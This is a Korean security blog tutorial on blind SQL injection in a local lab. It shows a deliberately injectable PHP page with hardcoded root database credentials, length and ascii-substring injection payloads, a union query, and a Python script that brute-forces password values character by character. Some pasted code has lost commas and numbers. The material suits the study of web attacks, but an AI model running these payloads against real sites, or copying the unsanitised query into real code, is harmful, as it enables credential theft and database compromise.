DoR@Hee의 끄적끄적

Blind Sql Injection -값 길이, 값 가져오기 본문

취약점 진단/WEB

Blind Sql Injection -값 길이, 값 가져오기

DoR@Hee 2019. 3. 25. 17:55

0-0 사전준비, DB이름 길이, DB이름 가져오기:https://dorahee.tistory.com/108?category=735413


0-1 table 길이, 이름 가져오기: https://dorahee.tistory.com/109?category=735413


0-2 칼럼길이  칼럼값 가져오기: https://dorahee.tistory.com/110


1-1 값 길이 가져오기


일단 확실한 공부환경을 만들기 위해서 약간에 소스코드 수정과 DB값을 추가 했다.


위와 같이 admin을 하나 추가 시키고



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
 
$conn = mysqli_connect("localhost""root""root","blind_db");
$no = $_GET['no'];
 
include 'index.php';
echo "<br>";
 
$userinfo = "SELECT * FROM sql_injection WHERE no =".$no."";
$useridoverlap=mysqli_query($conn$userinfo);
$user_db_check= mysqli_fetch_array($useridoverlap);
 
 
if($user_db_check['no']=="5"){
echo "no: ".$user_db_check[0]."<br>";
echo "id: ".$user_db_check[1]."<br>";
echo "email: ".$user_db_check[3]."<br>";
}
else if($user_db_check['no']){
 
echo "no: ".$user_db_check[0]."<br>";
echo "id: ".$user_db_check[1]."<br>";
echo "pw: ".$user_db_check[2]."<br>";
echo "email: ".$user_db_check[3]."<br>";
}
 
?>
cs


php 에서는 no에 값이 5일 경우 pw만 빼고 출력하는걸로 바꿨다.


일단 pw 칼럼이 있는건 알기 때문에



쿼리 "and length((select pw from sql_injection where no = 5 ))=13"을 이용해서 pw가 13자리인 걸 확인


쿼리 "and ascii(substr((select pw from sql_injection where no =5),1,1))=70" 으로 첫번째 자리가 70(F)인걸 확인 할 수 있다.


1-2 union문 이용



"Flag_is_@dmin" 을 가져 올 수있다.


1-3 값의 길이 , 값 가져오기 파이썬

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
 
 
def values():
    for i in range(1, length + 1):
        for j in range(33127):
            result = ""
            url = "http://localhost/index_ok.php?no=1%20and%20ascii(substr((select%20pw%20from%20sql_injection%20limit%20{0},1),{1},1))={2}".format(value,i, j)
            res = requests.get(url)
            if "email: a@" in res.text:
                print("{0}".format(chr(j)), end='')
                result += str(chr(j))
                break
    print("\n")
 
for value in range(010):
    for lengths in range(130):
        length = 0
        url = "http://localhost/index_ok.php?no=5%20and%20length((select%20pw%20from%20sql_injection%20limit%20{0},1))={1}".format(value, lengths)
        res = requests.get(url)
        if "email: " in res.text:
            print("=====================================")
            print("{0}번째 value 길이는{1}".format(value, lengths))
            print("=====================================\n")
            length = lengths
            value_ea = value
            values()
        else:
            continue
 
 
 
cs


Comments